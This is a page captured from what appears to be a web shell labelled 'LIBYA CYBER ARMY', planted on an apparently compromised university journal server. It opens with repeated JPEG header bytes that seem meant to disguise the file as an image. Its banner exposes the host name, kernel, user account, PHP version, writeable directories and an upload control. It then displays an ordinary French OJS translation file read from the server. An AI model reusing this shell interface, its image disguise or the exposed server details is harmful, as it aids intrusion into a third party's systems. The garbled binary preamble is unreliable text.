JFIFICC_PROFILElcmsmntrRGB XYZ  acspMSFTsawsctrl-hand=@=@t," desc_cprt wtptrXYZ,gXYZ@bXYZTrTRCh`gTRCh`bTRCh`descuRGBtextCC0XYZ TXYZ o8XYZ bXYZ $curv*|uN  bj. C$)j.~39?FWM6Tv\dluV~,6۾ewC    #%$""!&+7/&)4)!"0A149;>>>%.DIC;C  ;("(;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;<" }!1AQa"q2#BR$3br %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz w!1AQaq"2B #3Rbr $4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz ?|WH?cS?Ne.r˿ޱ5\YYhFOejT7PZ[qs2c/$Ep[Gqo(Nù=QHci;OipX=Ģ8d^mQeӴm1OsL/x2];i6p!zU -/uX!=<-}JFIFICC_PROFILElcmsmntrRGB XYZ  acspMSFTsawsctrl-hand=@=@t," desc_cprt wtptrXYZ,gXYZ@bXYZTrTRCh`gTRCh`bTRCh`descuRGBtextCC0XYZ TXYZ o8XYZ bXYZ $curv*|uN  bj. C$)j.~39?FWM6Tv\dluV~,6۾ewC    #%$""!&+7/&)4)!"0A149;>>>%.DIC;C  ;("(;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;<" }!1AQa"q2#BR$3br %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz w!1AQaq"2B #3Rbr $4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz ?|WH?cS?Ne.r˿ޱ5\YYhFOejT7PZ[qs2c/$Ep[Gqo(Nù=QHci;OipX=Ģ8d^mQeӴm1OsL/x2];i6p!zU -/uX!=<-}JFIFICC_PROFILElcmsmntrRGB XYZ  acspMSFTsawsctrl-hand=@=@t," desc_cprt wtptrXYZ,gXYZ@bXYZTrTRCh`gTRCh`bTRCh`descuRGBtextCC0XYZ TXYZ o8XYZ bXYZ $curv*|uN  bj. C$)j.~39?FWM6Tv\dluV~,6۾ewC    #%$""!&+7/&)4)!"0A149;>>>%.DIC;C  ;("(;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;<" }!1AQa"q2#BR$3br %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz w!1AQaq"2B #3Rbr $4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz ?|WH?cS?Ne.r˿ޱ5\YYhFOejT7PZ[qs2c/$Ep[Gqo(Nù=QHci;OipX=Ģ8d^mQeӴm1OsL/x2];i6p!zU -/uX!=<-}JFIFICC_PROFILElcmsmntrRGB XYZ  acspMSFTsawsctrl-hand=@=@t," desc_cprt wtptrXYZ,gXYZ@bXYZTrTRCh`gTRCh`bTRCh`descuRGBtextCC0XYZ TXYZ o8XYZ bXYZ $curv*|uN  bj. C$)j.~39?FWM6Tv\dluV~,6۾ewC    #%$""!&+7/&)4)!"0A149;>>>%.DIC;C  ;("(;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;<" }!1AQa"q2#BR$3br %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz w!1AQaq"2B #3Rbr $4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz ?|WH?cS?Ne.r˿ޱ5\YYhFOejT7PZ[qs2c/$Ep[Gqo(Nù=QHci;OipX=Ģ8d^mQeӴm1OsL/x2];i6p!zU -/uX!=<-}JFIFICC_PROFILElcmsmntrRGB XYZ  acspMSFTsawsctrl-hand=@=@t," desc_cprt wtptrXYZ,gXYZ@bXYZTrTRCh`gTRCh`bTRCh`descuRGBtextCC0XYZ TXYZ o8XYZ bXYZ $curv*|uN  bj. C$)j.~39?FWM6Tv\dluV~,6۾ewC    #%$""!&+7/&)4)!"0A149;>>>%.DIC;C  ;("(;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;<" }!1AQa"q2#BR$3br %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz w!1AQaq"2B #3Rbr $4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz ?|WH?cS?Ne.r˿ޱ5\YYhFOejT7PZ[qs2c/$Ep[Gqo(Nù=QHci;OipX=Ģ8d^mQeӴm1OsL/x2];i6p!zU -/uX!=<-}JFIFICC_PROFILElcmsmntrRGB XYZ  acspMSFTsawsctrl-hand=@=@t," desc_cprt wtptrXYZ,gXYZ@bXYZTrTRCh`gTRCh`bTRCh`descuRGBtextCC0XYZ TXYZ o8XYZ bXYZ $curv*|uN  bj. C$)j.~39?FWM6Tv\dluV~,6۾ewC    #%$""!&+7/&)4)!"0A149;>>>%.DIC;C  ;("(;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;<" }!1AQa"q2#BR$3br %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz w!1AQaq"2B #3Rbr $4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz ?|WH?cS?Ne.r˿ޱ5\YYhFOejT7PZ[qs2c/$Ep[Gqo(Nù=QHci;OipX=Ģ8d^mQeӴm1OsL/x2];i6p!zU -/uX!=<-}JFIFICC_PROFILElcmsmntrRGB XYZ  acspMSFTsawsctrl-hand=@=@t," desc_cprt wtptrXYZ,gXYZ@bXYZTrTRCh`gTRCh`bTRCh`descuRGBtextCC0XYZ TXYZ o8XYZ bXYZ $curv*|uN  bj. C$)j.~39?FWM6Tv\dluV~,6۾ewC    #%$""!&+7/&)4)!"0A149;>>>%.DIC;C  ;("(;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;<" }!1AQa"q2#BR$3br %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz w!1AQaq"2B #3Rbr $4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz ?|WH?cS?Ne.r˿ޱ5\YYhFOejT7PZ[qs2c/$Ep[Gqo(Nù=QHci;OipX=Ģ8d^mQeӴm1OsL/x2];i6p!zU -/uX!=<-}JFIFICC_PROFILElcmsmntrRGB XYZ  acspMSFTsawsctrl-hand=@=@t," desc_cprt wtptrXYZ,gXYZ@bXYZTrTRCh`gTRCh`bTRCh`descuRGBtextCC0XYZ TXYZ o8XYZ bXYZ $curv*|uN  bj. C$)j.~39?FWM6Tv\dluV~,6۾ewC    #%$""!&+7/&)4)!"0A149;>>>%.DIC;C  ;("(;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;<" }!1AQa"q2#BR$3br %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz w!1AQaq"2B #3Rbr $4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz ?|WH?cS?Ne.r˿ޱ5\YYhFOejT7PZ[qs2c/$Ep[Gqo(Nù=QHci;OipX=Ģ8d^mQeӴm1OsL/x2];i6p!zU -/uX!=<-}JFIFICC_PROFILElcmsmntrRGB XYZ  acspMSFTsawsctrl-hand=@=@t," desc_cprt wtptrXYZ,gXYZ@bXYZTrTRCh`gTRCh`bTRCh`descuRGBtextCC0XYZ TXYZ o8XYZ bXYZ $curv*|uN  bj. C$)j.~39?FWM6Tv\dluV~,6۾ewC    #%$""!&+7/&)4)!"0A149;>>>%.DIC;C  ;("(;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;<" }!1AQa"q2#BR$3br %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz w!1AQaq"2B #3Rbr $4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz ?|WH?cS?Ne.r˿ޱ5\YYhFOejT7PZ[qs2c/$Ep[Gqo(Nù=QHci;OipX=Ģ8d^mQeӴm1OsL/x2];i6p!zU -/uX!=<-}JFIFICC_PROFILElcmsmntrRGB XYZ  acspMSFTsawsctrl-hand=@=@t," desc_cprt wtptrXYZ,gXYZ@bXYZTrTRCh`gTRCh`bTRCh`descuRGBtextCC0XYZ TXYZ o8XYZ bXYZ $curv*|uN  bj. C$)j.~39?FWM6Tv\dluV~,6۾ewC    #%$""!&+7/&)4)!"0A149;>>>%.DIC;C  ;("(;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;<" }!1AQa"q2#BR$3br %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz w!1AQaq"2B #3Rbr $4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz ?|WH?cS?Ne.r˿ޱ5\YYhFOejT7PZ[qs2c/$Ep[Gqo(Nù=QHci;OipX=Ģ8d^mQeӴm1OsL/x2];i6p!zU -/uX!=<-}JFIFICC_PROFILElcmsmntrRGB XYZ  acspMSFTsawsctrl-hand=@=@t," desc_cprt wtptrXYZ,gXYZ@bXYZTrTRCh`gTRCh`bTRCh`descuRGBtextCC0XYZ TXYZ o8XYZ bXYZ $curv*|uN  bj. C$)j.~39?FWM6Tv\dluV~,6۾ewC    #%$""!&+7/&)4)!"0A149;>>>%.DIC;C  ;("(;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;<" }!1AQa"q2#BR$3br %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz w!1AQaq"2B #3Rbr $4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz ?|WH?cS?Ne.r˿ޱ5\YYhFOejT7PZ[qs2c/$Ep[Gqo(Nù=QHci;OipX=Ģ8d^mQeӴm1OsL/x2];i6p!zU -/uX!=<-}JFIFICC_PROFILElcmsmntrRGB XYZ  acspMSFTsawsctrl-hand=@=@t," desc_cprt wtptrXYZ,gXYZ@bXYZTrTRCh`gTRCh`bTRCh`descuRGBtextCC0XYZ TXYZ o8XYZ bXYZ $curv*|uN  bj. C$)j.~39?FWM6Tv\dluV~,6۾ewC    #%$""!&+7/&)4)!"0A149;>>>%.DIC;C  ;("(;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;<" }!1AQa"q2#BR$3br %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz w!1AQaq"2B #3Rbr $4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz ?|WH?cS?Ne.r˿ޱ5\YYhFOejT7PZ[qs2c/$Ep[Gqo(Nù=QHci;OipX=Ģ8d^mQeӴm1OsL/x2];i6p!zU -/uX!=<-}JFIFICC_PROFILElcmsmntrRGB XYZ  acspMSFTsawsctrl-hand=@=@t," desc_cprt wtptrXYZ,gXYZ@bXYZTrTRCh`gTRCh`bTRCh`descuRGBtextCC0XYZ TXYZ o8XYZ bXYZ $curv*|uN  bj. C$)j.~39?FWM6Tv\dluV~,6۾ewC    #%$""!&+7/&)4)!"0A149;>>>%.DIC;C  ;("(;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;<" }!1AQa"q2#BR$3br %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz w!1AQaq"2B #3Rbr $4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz ?|WH?cS?Ne.r˿ޱ5\YYhFOejT7PZ[qs2c/$Ep[Gqo(Nù=QHci;OipX=Ģ8d^mQeӴm1OsL/x2];i6p!zU -/uX!=<-}JFIFICC_PROFILElcmsmntrRGB XYZ  acspMSFTsawsctrl-hand=@=@t," desc_cprt wtptrXYZ,gXYZ@bXYZTrTRCh`gTRCh`bTRCh`descuRGBtextCC0XYZ TXYZ o8XYZ bXYZ $curv*|uN  bj. C$)j.~39?FWM6Tv\dluV~,6۾ewC    #%$""!&+7/&)4)!"0A149;>>>%.DIC;C  ;("(;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;<" }!1AQa"q2#BR$3br %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz w!1AQaq"2B #3Rbr $4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz ?|WH?cS?Ne.r˿ޱ5\YYhFOejT7PZ[qs2c/$Ep[Gqo(Nù=QHci;OipX=Ģ8d^mQeӴm1OsL/x2];i6p!zU -/uX!=<-} .
LIBYA CYBER ARMY
Logo of a company Instagram@3g86    Server : Apache
System : Linux uta-edu.server.ly 4.18.0-513.11.1.el8_9.x86_64 #1 SMP Wed Jan 17 02:00:40 EST 2024 x86_64
User : utripoli ( 1001)
PHP Version : 7.4.33
Disable Function : NONE
Directory :  /home/utripoli/www/alqalam/locale/fr_CA/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/utripoli/www/alqalam/locale/fr_CA/submission.po
# Marie-Hélène Vézina [UdeMontréal] <marie-helene.vezina@umontreal.ca>, 2022, 2023.
# Pierre Lasou <pierre.lasou@bibl.ulaval.ca>, 2023.
msgid ""
msgstr ""
"Project-Id-Version: \n"
"Report-Msgid-Bugs-To: \n"
"POT-Creation-Date: 2019-10-15T14:05:03-07:00\n"
"PO-Revision-Date: 2023-05-29 19:34+0000\n"
"Last-Translator: Marie-Hélène Vézina [UdeMontréal] <marie-helene."
"vezina@umontreal.ca>\n"
"Language-Team: French (Canada) <http://translate.pkp.sfu.ca/projects/ojs/"
"submission/fr_CA/>\n"
"Language: fr_CA\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=2; plural=n > 1;\n"
"X-Generator: Weblate 4.13.1\n"

# localization file for fr_CA. Last revision 2019-10-22T02:40:33 by Marie-Hélène Vézina, Bibliothèques, Université de Montréal.
msgid "submission.submit.userGroup"
msgstr "Soumettre en tant que (rôle)..."

msgid "submission.upload.selectComponent"
msgstr "Sélectionner l'élément de l'article"

msgid "submission.title"
msgstr "Titre de l'article"

msgid "submission.title.tip"
msgstr ""
"Par type de soumission, on entend « image », « texte » ou d'autres formats "
"multimédias, y compris « logiciel » et « ressource interactive ». Veuillez "
"choisir le type qui correspond le mieux à votre soumission. Vous trouverez "
"des exemples au <a target=\"_blank\" href=\"http://dublincore.org/"
"documents/2001/04/12/usageguide/generic.shtml#type\">http://dublincore.org/"
"documents/2001/04/12/usageguide/generic.shtml#type</a>"

msgid "submission.submit.newSubmissionMultiple"
msgstr "Commencer une nouvelle soumission dans"

msgid "submission.submit.newSubmissionSingle"
msgstr "Nouvelle soumission"

msgid "grid.action.workflow"
msgstr "Processus éditorial pour la soumission"

msgid "submission.abstract.wordCount.description"
msgstr "Le résumé doit contenir {$wordCount} mots ou moins."

msgid "submission.submit.noContext"
msgstr "La revue de cette soumission est introuvable."

msgid "submission.issueEntry"
msgstr "Métadonnées"

msgid "submission.submit.whatNext.description"
msgstr ""
"La revue a été informée de votre soumission et vous a envoyé par courriel "
"une confirmation pour vos dossiers. Un rédacteur communiquera avec vous "
"lorsque votre soumission aura été examinée."

msgid "grid.action.galleyInIssueEntry"
msgstr "Les épreuves se trouvent dans le dossier du numéro"

msgid "grid.action.issueEntry"
msgstr "Voir les métadonnées de la soumission"

msgid "submission.event.articleGalleyMadeAvailable"
msgstr "Les épreuves de l'article « {$galleyFormatName} » sont disponibles."

msgid "submission.event.articleGalleyMadeUnavailable"
msgstr ""
"Les épreuves de l'article « {$galleyFormatName} » ne sont pas disponibles."

msgid "submission.event.publicIdentifiers"
msgstr "Identifiants publics de la soumission mis à jour."

msgid "grid.issueEntry.availableGalley.title"
msgstr "Approbation du format"

msgid "grid.issueEntry.availableGalley.removeMessage"
msgstr ""
"<p>Ces épreuves <em>ne seront plus mises à la disposition</em> des lecteurs-"
"trices.</p>"

msgid "grid.issueEntry.availableGalley.message"
msgstr ""
"<p>Ces épreuves <em>seront mises à la disposition</em> des lecteurs-trices.</"
"p>"

msgid "grid.action.availableArticleGalley"
msgstr "Rendre ces épreuves disponibles"

msgid "submission.galleyFiles"
msgstr "Fichiers des épreuves"

msgid "submission.proofReadingDescription"
msgstr ""
"Le ou la responsable de la mise en page téléverse ici les fichiers qui ont "
"été préparés pour publication. Utiliser <em>Assigner un-e vérificateur-"
"trice</em> pour identifier les auteurs-es et autres personnes qui "
"vérifieront les épreuves, à partir des fichiers corrigés téléversés, pour "
"approbation avant la publication."

msgid "grid.action.approveProof"
msgstr "Approuver cette version pour inclusion dans les épreuves."

msgid "grid.action.pageProofApproved"
msgstr "Cette version a été approuvée pour inclusion dans les épreuves."

msgid "submission.submit.titleAndSummary"
msgstr "Titre et résumé"

msgid "submission.submit.upload.description"
msgstr ""
"Téléverser les fichier associés à cette soumission, incluant l'article, les "
"fichiers multimédias, les ensembles de données, les oeuvres d'art, etc."

msgid "submission.pageProofs"
msgstr "Correction d'épreuve"

msgid "workflow.review.externalReview"
msgstr "Évaluation"

msgid "submission.event.issueMetadataUpdated"
msgstr "Les métadonnées du numéro de la soumission ont été mises à jour."

msgid "submission.upload.fileContents"
msgstr "Élément de l'article"

msgid "submission.complete"
msgstr "Approuvé-e"

msgid "submission.incomplete"
msgstr "En attente d'approbation"

msgid "submission.submit.submissionChecklist"
msgstr "Liste de vérification de la soumission"

#, fuzzy
msgid "submission.submit.privacyStatement"
msgstr "Déclaration de confidentialité"

msgid "submission.submit.contributorRole"
msgstr "Rôle du,de la contributeur-trice"

msgid "submission.citationFormat.notFound"
msgstr "Le format de citation n'a pas été repéré."

msgid "submission.metadataDescription"
msgstr ""
"Ces spécifications sont basées sur le schéma de métadonnées du Dublin Core, "
"une norme internationale utilisée pour décrire les contenus d'une revue."

msgid "section.any"
msgstr "Toute rubrique"

msgid "submission.sectionOptions"
msgstr "Options de rubrique"

msgid "catalog.browseTitles"
msgstr "{$numTitles} titre(s)"

msgid "catalog.category.heading"
msgstr "Tous les titres"

msgid "galley.editPublishedDisabled"
msgstr ""
"Les épreuves de cette publication ne peuvent pas être modifiées car elles "
"ont déjà été publiées."

msgid "galley.publicationNotFound"
msgstr "La publication de ces épreuves est introuvable."

msgid "publication.assignToissue"
msgstr "Assigner à un numéro"

msgid "publication.assignedToIssue"
msgstr ""
"Cet article a été assigné au numéro <a href=\"{$issueUrl}\">{$issueName}</"
"a>, mais sa publication n'a pas été programmée."

msgid "publication.changeIssue"
msgstr "Changer de numéro"

msgid "publication.datePublished.description"
msgstr ""
"La date de publication sera définie automatiquement lors de la publication "
"du numéro. Ne pas entrer de date de publication sauf si l'article a déjà été "
"publié ailleurs et que vous devez l'antidater."

msgid "publication.invalidSection"
msgstr "La rubrique de cette publication est introuvable."

msgid "publication.inactiveSection"
msgstr "{$section} (Inactive)"

msgid "publication.invalidIssue"
msgstr "Le numéro de cette publication est introuvable."

msgid "publication.publish.confirmation"
msgstr ""
"Toutes les exigences de publication ont été remplies. Êtes-vous certain-e de "
"vouloir publier ceci ?"

msgid "publication.publish.confirmation.futureIssue"
msgstr ""
"Toutes les exigences de publication ont été remplies. Ceci sera publié quand "
"le {$issue} sera publié. Êtes-vous certain-e de vouloir programmer cette "
"publication ?"

msgid "publication.publish.confirmation.backIssue"
msgstr ""
"Toutes les exigences de publication ont été remplies. Ceci sera publié "
"immédiatement dans le {$issue}. Êtes-vous certain-e de vouloir publier ceci ?"

msgid "publication.publish.confirmation.datePublishedInPast"
msgstr ""
"Toutes les exigences de publication ont été remplies. Ceci sera publié "
"immédiatement car la date de publication a été fixée au {$datePublished}. "
"Êtes-vous certain-e de vouloir publier ceci ?"

msgid "publication.required.issue"
msgstr ""
"La publication doit être assignée à un numéro avant de pouvoir être publiée."

msgid "publication.publishedIn"
msgstr "Publié-e dans le <a href=\"{$issueUrl}\">{$issueName}</a>."

msgid "publication.scheduledIn"
msgstr ""
"Publication programmée dans le <a href=\"{$issueUrl}\">{$issueName}</a>."

msgid "publication.unscheduledIn"
msgstr "Ceci n'a pas été programmé pour publication dans un numéro."

msgid "publication.selectIssue"
msgstr "Choisir un numéro pour programmer la publication"

msgid "submission.publication"
msgstr "Publication"

msgid "publication.status.published"
msgstr "Publié-e"

msgid "submission.status.scheduled"
msgstr "Prévu(e)"

msgid "publication.status.unscheduled"
msgstr "Non planifié-e"

msgid "submission.publications"
msgstr "Publications"

msgid "publication.copyrightYearBasis.issueDescription"
msgstr ""
"L'année du droit d'auteur sera définie automatiquement en fonction de la "
"publication du numéro."

msgid "publication.copyrightYearBasis.submissionDescription"
msgstr ""
"L'année du droit d'auteur sera définie automatiquement en fonction de la "
"date de publication."

msgid "publication.datePublished"
msgstr "Date de publication"

msgid "publication.editDisabled"
msgstr "Cette version a été publiée et ne peut pas être modifiée."

msgid "publication.event.published"
msgstr "La soumission a été publiée."

msgid "publication.event.scheduled"
msgstr "La planification de la publication de la soumission a été enregistrée."

msgid "publication.event.unpublished"
msgstr "La soumission a été dépubliée."

msgid "publication.event.versionPublished"
msgstr "Une nouvelle version a été publiée."

msgid "publication.event.versionScheduled"
msgstr ""
"La planification de la publication d'une nouvelle version a été enregistrée."

msgid "publication.event.versionUnpublished"
msgstr "Une version a été dépubliée."

msgid "publication.invalidSubmission"
msgstr "La soumission pour cette publication n'a pu être trouvée."

msgid "publication.publish"
msgstr "Publier"

msgid "publication.publish.requirements"
msgstr ""
"Les conditions suivantes doivent être remplies avant que ceci ne puisse être "
"publié."

msgid "publication.required.declined"
msgstr "Une soumission refusée ne peut pas être publiée."

msgid "publication.required.reviewStage"
msgstr ""
"La soumission doit être à l'étape de révision ou de production avant de "
"pouvoir être publiée."

msgid "submission.license.description"
msgstr ""
"La licence sera automatiquement définie comme <a href='{$licenseUrl}' "
"target='_blank'> {$licenseName} </a> lorsque ceci sera publié."

msgid "submission.copyrightHolder.description"
msgstr ""
"Les droits d'auteur seront automatiquement attribués à {$copyright} lorsque "
"ceci sera publié."

msgid "submission.copyrightOther.description"
msgstr ""
"Attribuer à la partie suivante les droits d'auteur pour les soumissions "
"publiées."

msgid "publication.unpublish"
msgstr "Dépublier"

msgid "publication.unpublish.confirm"
msgstr "Êtes-vous certain-e de ne pas vouloir que cela soit publié ?"

msgid "publication.unschedule.confirm"
msgstr ""
"Êtes-vous certain-e de ne pas vouloir planifier la publication de ceci ?"

msgid "publication.version.details"
msgstr "Renseignements de publication pour la version {$version}"

msgid "submission.queries.production"
msgstr "Discussions sur la production"

msgid "editor.submission.decision.backToReview"
msgstr "Revenir à l'évaluation"

msgid "editor.submission.decision.backToReview.description"
msgstr ""
"Revenir sur la décision d'accepter cette soumission et la remettre à l'étape "
"d'évaluation."

msgid "editor.submission.decision.backToReview.log"
msgstr ""
"{$editorName} a annulé la décision d'accepter cette soumission et l'a remise "
"à l'étape d'évaluation."

msgid "editor.submission.decision.backToReview.completed"
msgstr "Retourné-e à l'étape d'évaluation"

msgid "editor.submission.decision.backToReview.completed.description"
msgstr "La soumission, {$title}, a été retournée à l'étape d'évaluation."

msgid "editor.submission.decision.backToReview.notifyAuthorsDescription"
msgstr ""
"Envoyer un courriel aux auteur.e.s pour les informer que leur soumission est "
"retournée à l'étape d'évaluation. Expliquer pourquoi cette décision a été "
"prise et informer l'auteur.e quel suivi d'évaluation sera fait."

#, fuzzy
msgid "editor.submission.decision.sendExternalReview.notifyAuthorsDescription"
msgstr ""
"Envoyer un courriel aux auteur.e.s pour leur faire savoir que cette "
"soumission sera soumise à l'examen par les pairs. Si possible, donner aux "
"auteur.e.s une indication de la durée du processus d'examen par les pairs et "
"de la date à laquelle ils doivent s'attendre à recevoir une nouvelle "
"communication de la part des rédacteurs et rédactrices."

msgid "editor.submission.decision.promoteFiles.externalReview"
msgstr "Sélectionner les fichiers devant être envoyés à l'étape d'évaluation."

msgid "doi.submission.issueMissing.publication"
msgstr ""
"Impossible de créer un DOI pour la soumission suivante : {$pubObjectTitle}. "
"La soumission doit être assignée à un numéro avant qu'un DOI puisse être "
"généré."

msgid "doi.submission.issueMissing.representation"
msgstr ""
"Impossible de créer un DOI pour les épreuves de {$pubObjectTitle} pour la "
"soumission suivante : {$itemTitle}. La soumission doit être assignée à un "
"numéro avant qu'un DOI puisse être généré."

msgid "doi.submission.incorrectContext"
msgstr ""
"Impossible de créer un DOI pour la soumission suivante : {$pubObjectTitle}. "
"Elle n'existe pas dans le contexte actuel de la revue."

msgid "submission.layout.viewGalley"
msgstr "Afficher les épreuves"

msgid "galley.cantEditPublished"
msgstr ""
"Ces épreuves ne peuvent pas être éditées car elles ont déjà été publiées."

msgid "submission.copyright.description"
msgstr ""
"Veuillez lire et vous assurez de comprendre la politique de droits d'auteur "
"pour les soumissions à cette revue."

msgid "submission.wizard.notAllowed.description"
msgstr ""
"Vous n'êtes pas autorisé.e à soumettre votre manuscrit à cette revue car les "
"auteur.e.s doivent êtres inscrit.e.s par l'équipe éditoriale. S'il s'agit "
"selon vous d'une erreur, contacter <a href='mailto:{$email}'>{$name}</a>."

msgid "submission.wizard.noSectionAllowed.description"
msgstr ""
"Vous n'êtes pas autorisé.e à soumettre votre manuscrit à cette revue car les "
"soumissions à toutes les rubriques de cette revue ont été désactivées ou "
"restreintes. S'il s'agit selon vous d'une erreur, contacter <a "
"href='mailto:{$email}'>{$name}</a>."

msgid "submission.wizard.sectionClosed.message"
msgstr ""
"La revue {$contextName} n'accepte pas de soumission dans la rubrique "
"{$section}. Si vous éprouvez des difficultés pour récupérer votre "
"soumission, contacter <a href='mailto:{$email}'>{$name}</a>."

msgid "submission.sectionNotFound"
msgstr "Impossible de trouver la rubrique de cette soumission."

msgid "submission.sectionRestrictedToEditors"
msgstr ""
"Seul le personnel de la revue est autorisé à soumettre dans cette rubrique."

msgid "submission.submit.form.authorRequired"
msgstr "Au moins un-e auteur-e est requis-e."

msgid "submission.submit.form.titleRequired"
msgstr "Veuillez inscrire le titre de votre article."

msgid "submission.submit.form.abstractRequired"
msgstr "Veuillez inscrire le résumé de votre article."

msgid "submission.submit.form.wordCountAlert"
msgstr ""
"Votre résumé est trop long. Veuillez le raccourcir selon la limite indiquée "
"pour cette rubrique."

msgid "submission.submit.form.contributorRoleRequired"
msgstr "Sélectionner le rôle du,de la contributeur-trice."

#~ msgid "editor.submission.decision.sendExternalReview"
#~ msgstr "Envoyer en évaluation"

#~ msgid "publication.issue.success"
#~ msgstr ""
#~ "Les renseignements relatifs au numéro de cette publication ont été mis à "
#~ "jour."

3g86 2022